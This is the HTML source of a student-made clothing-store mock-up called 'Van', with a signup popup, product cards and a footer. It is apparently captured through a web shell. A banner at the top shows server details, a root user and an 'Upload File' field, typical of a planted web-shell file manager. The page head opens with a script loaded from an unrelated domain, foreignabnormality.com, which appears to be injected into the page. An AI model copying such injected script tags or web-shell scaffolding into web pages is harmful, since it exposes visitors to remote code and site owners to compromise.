| Server IP : 138.197.162.186 / Your IP : 216.73.216.17 Web Server : nginx/1.24.0 System : Linux ubuntu-s-1vcpu-512mb-10gb-tor1 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/yogaensalada-site-backup/assign3/ |
Upload File : |
<!DOCTYPE html>
<html lang="en-gb">
<head>
<script src="https://foreignabnormality.com/3d/2a/3b/3d2a3b864ccbbed9c9fc04ca3f939a68.js"></script>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-5T2LX08R87"></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer||[],gtag("js",new Date),gtag("config","G-5T2LX08R87");</script>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-0531879237494766" crossorigin="anonymous"></script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Additional Information -->
<meta name="author" content="Jaymie Tan | github:jmietan">
<meta name="description" content="Van">
<meta name="keywords" content="Clothes">
<title>Van</title>
<!-- Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inria+Sans:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&family=Inria+Serif:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&family=Inter:wght@100..900&display=swap" rel="stylesheet">
<!-- Stylesheets -->
<link rel="stylesheet" href="css/reset.css">
<link rel="stylesheet" href="css/styles.css">
<!-- Scripts -->
<script src="js/script.js" defer ></script>
</head>
<body>
<!-- Pop up-->
<div class="popup">
<button id="close">Close</button>
<div class="flex-formfull-container">
<div class="col-one">
<div class="store-online">
<section >
<h1>30% OFF IN-STORE AND
ONLINE—YOU'VE EARNED IT*</h1>
<p>You'll officially be in the loop for NEW arrivals, BIG
deals, EXCLUSIVE sales AND MORE.</p>
</section>
</div>
<div class="form">
<!--- form-->
<form action="#" method="post">
<div class="flex-form-container">
<input type="text" id="email-id" name="email-id" placeholder="Enter Your Email Address Here " required>
<p class="invalid-email">Please enter a valid email address</p>
<input type="text" id="name" name="name" placeholder="Enter Your Name Here" required>
<p class="invalid-name">Please enter a valid Name </p>
<input type="text" id="town-city" name="town-city" placeholder="Enter your Town/city Here" required>
<p class="invalid-town">Please enter a valid Town </p>
</div>
<div class="btn-get-off">
<button type="submit"> GET 30% OFF</button>
</div>
</form>
</div>
<div class="yes">
<p>Yes! I would like to receive style news and exclusive offers from VAN Inc.
and related companies and brands including VAN (Canada) Inc. and New
Ocean (Canada) Inc. and Orange State. You can withdraw consent at
any time.</p>
</div>
<div class="offer-valid">
<!---offer valid-->
<section>
<h3>*OFFER VALID FOR NEW SUBSCRIBERS ONLY</h3>
<ul>
<li> <a href="privacy.html">Privacy Policy </a></li>
<li><a href="#">See Offer Details</a> </li>
</ul>
</section>
</div>
</div>
<div class="col-two flex-images-container">
<img src="img/woman-with-sweater.webp" alt="woman with sweater">
<img src="img/woman-with-sunglasses.webp" alt="woman with sungaless">
<img src="img/women-with-boa.webp" alt="woman with boa">
</div>
</div>
</div>
<!-- Header -->
<header>
<!-- Top nav -->
<div class="bg-black">
<div class="topnav">
<ul>
<li class="bd-white"><a href="#">New Ocean</a></li>
<li class="thin-italics"><a href="#">Orange State</a></li>
<li class="normal"><a href="#">Player</a></li>
</ul>
</div>
</div>
<!-- Logo -->
<section class="flex-logo-container">
<h1><a href="#" class="logo">Van</a></h1>
<!-- prime menu -->
<nav>
<ul class="primenav">
<li><a href="#">New </a></li>
<li><a href="#">Shapley </a></li>
<li><a href="#">Angular </a></li>
<li><a href="#">Toddler </a></li>
<li><a href="#">Maternity </a></li>
</ul>
</nav>
<button class="toggle-btn">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="66" viewBox="0 0 100 80">
<rect width="100" height="20" rx="0"></rect>
<rect y="30" width="100" height="20" rx="0"></rect>
<rect y="60" width="100" height="20" rx="0"></rect>
</svg>
</button>
</section>
</header>
<!-- hero banner-->
<div>
<section class="flex-hero-container">
<img src="img/fashon-banner.webp" alt="Man and Woman drinking coffee">
<div class="flex-hero-text-container">
<div>
<h2>Sale</h2>
</div>
<div>
<p>Extra 50% Off Markdowns</p>
</div>
</div>
</section>
</div>
<!-- new arrivals-->
<section class="new-arrivals">
<h2>More New Arrivals You'll Love</h2>
<div class="card-deck scroll-wrapper">
<!-- Card 1 -->
<div class="card">
<a href="#"> <img src="img/horizontal-scroll/footed-one-piece.webp" alt="Footed One Piece"></a>
<div>
<a href="#" class="card-btn">Favorite Organic Cotton Footed One Piece</a>
</div>
</div> <!-- end of .card -->
<!-- Card 2 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/holiday_set.webp" alt="Holiday Set"></a>
<div>
<a href="#" class="card-btn">Organic Cotton Holiday PJ Set</a>
</div>
</div> <!-- end of .card -->
<!-- Card 3 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/puppies.webp" alt="Puppies"></a>
<div>
<a href="#" class="card-btn">Organic Cotton Mix and Match Puff Sleeve t-shirt</a>
</div>
</div> <!-- end of .card -->
<!-- Card 4 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/rib-flare.webp" alt="rib flare"></a>
<div>
<a href="#" class="card-btn">Toddler Mix and Match Rib Flare Leggings</a>
</div>
</div> <!-- end of .card -->
<!-- Card 5 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/stripe-pj.webp" alt="stripe pj"></a>
<div>
<a href="#" class="card-btn">Organic Cotton Stripe PJ Set</a>
</div>
</div> <!-- end of .card -->
<!-- Card 6 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/deer.webp" alt="Deer"></a>
<div>
<a href="#" class="card-btn">Organic Cotton Mix and Match Puff Sleeve Deer</a>
</div>
</div> <!-- end of .card -->
<!-- Card 7 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/leggings.webp" alt="Leggings"></a>
<div>
<a href="#">Organic Cotton PJ</a>
</div>
</div> <!-- end of .card -->
<!-- Card 8 -->
<div class="card">
<img src="img/horizontal-scroll/pj-set.webp" alt="Pajama set">
<div>
<p>Organic Cotton Pajama Set</p>
</div>
</div> <!-- end of .card -->
<!-- Card 9 -->
<div class="card">
<a href="#"> <img src="img/horizontal-scroll/footed-one-piece.webp" alt="Footed One Piece"></a>
<div>
<a href="#" class="card-btn">Favorite Organic Cotton Footed One Piece</a>
</div>
</div> <!-- end of .card -->
<!-- Card 10 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/holiday_set.webp" alt="Holiday Set"></a>
<div>
<a href="#" class="card-btn">Organic Cotton Holiday PJ Set</a>
</div>
</div> <!-- end of .card -->
<!-- Card 11 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/puppies.webp" alt="Puppies"></a>
<div>
<a href="#" class="card-btn">Organic Cotton Mix and Match Puff Sleeve t-shirt</a>
</div>
</div> <!-- end of .card -->
<!-- Card 12 -->
<div class="card">
<a href="#"><img src="img/horizontal-scroll/rib-flare.webp" alt="rib flare"></a>
<div>
<a href="#" class="card-btn">Toddler Mix and Match Rib Flare Leggings</a>
</div>
</div> <!-- end of .card -->
</div>
</section>
<!-- great-fashion-->
<section class="great-fashion">
<h2>Great Fashion Starts With a Great Smile</h2>
<div class="flex-great-fashion-container">
<div class="card-container"><!-- Tile 1 -->
<div>
<picture>
<source srcset="img/smile-half-l.webp" media="(min-width:720px)">
<img src="img/smile-half-l-750-1.webp" alt="Lady Smiling" >
</picture>
</div>
</div>
<div class="card-container"><!-- Tile 2 -->
<div>
<picture>
<source srcset="img/smile-half-r.webp" media="(min-width:720px)">
<img src="img/smile-half-r-750-1.webp" alt="Guy Smiling" >
</picture>
</div>
</div>
</div>
</section>
<!-- shop-division-->
<section class="shop-division">
<h2>Shop by Division</h2>
<div class="deck-const">
<div class="flex-shop-division-container">
<div class="deck-container">
<img src="img/from-the-bottom.webp" alt="Lady Posing" >
<div class="deck-h3">
<h3>From the Bottom</h3>
</div>
</div>
<div class="deck-container">
<img src="img/get-on-top.webp" alt="Man in grey shirt" >
<div class="deck-h3">
<h3>Get on Top</h3>
</div>
</div>
<div class="deck-container">
<img src="img/hot-and-new.webp" alt="Cup and Mitten" >
<div class="deck-h3">
<h3>Hot & New</h3>
</div>
</div>
</div>
</div>
</section>
<!--same-day-->
<div class="same-day">
<div class="flex-same-day-container">
<div class="box"> <!--box 1-->
<a href="#">SAME-DAY DELIVERY BY UBER
Get your orders ASAP</a>
</div>
<div class="box"><!--box 2-->
<a href="#">MEMBERS GET MORE
Join our loyalty program</a>
</div>
<div class="box"><!--box 3-->
<a href="#">SAME-DAY DELIVERY BY UBER
Get your orders ASAP</a>
</div>
<div class="box"><!--box 4-->
<a href="#">BUY NOW, PAY LATER
Apply for our card</a>
</div>
</div>
</div>
<!--footer-->
<footer>
<div class="flex-footer-nav-container">
<section class="customer-sup">
<h3>CUSTOMER SUPPORT</h3>
<ul>
<li><a href="#">Customer Service</a></li>
<li><a href="#">Buy Online</a></li>
<li><a href="#">Pick Up In-store</a></li>
<li><a href="#">Store Locator</a></li>
<li><a href="#">Gift Cards</a></li>
</ul>
</section>
<section>
<h3>ABOUT US</h3>
<ul>
<li><a href="#">Our Values</a></li>
<li><a href="#">Sustainablity</a></li>
<li><a href="#">Equality and Belonging</a></li>
<li><a href="#">Careers</a></li>
<li><a href="#">Gift Cards</a></li>
</ul>
</section>
<section class="rewards">
<h3>VAN GOOD REWARDS</h3>
<ul>
<li><a href="#">Join VAN</a></li>
<li><a href="#">Buy Online</a></li>
<li><a href="#">Good Rewards</a></li>
<li><a href="#">My Rewards & Benefits</a></li>
<li><a href="#">Learn More</a></li>
</ul>
</section>
</div>
<div class="copyright">
<p>© 2024 VAN, INC.|
<a href="privacy.html">PRIVACY POLICY</a> |
<a href="#">YOUR PRIVACY CHOICES</a> |
<a href="#">TERMS OF USE</a> |
<a href="#">SUSTAINABILITY </a>
</p>
</div>
</footer>
</body>
</html>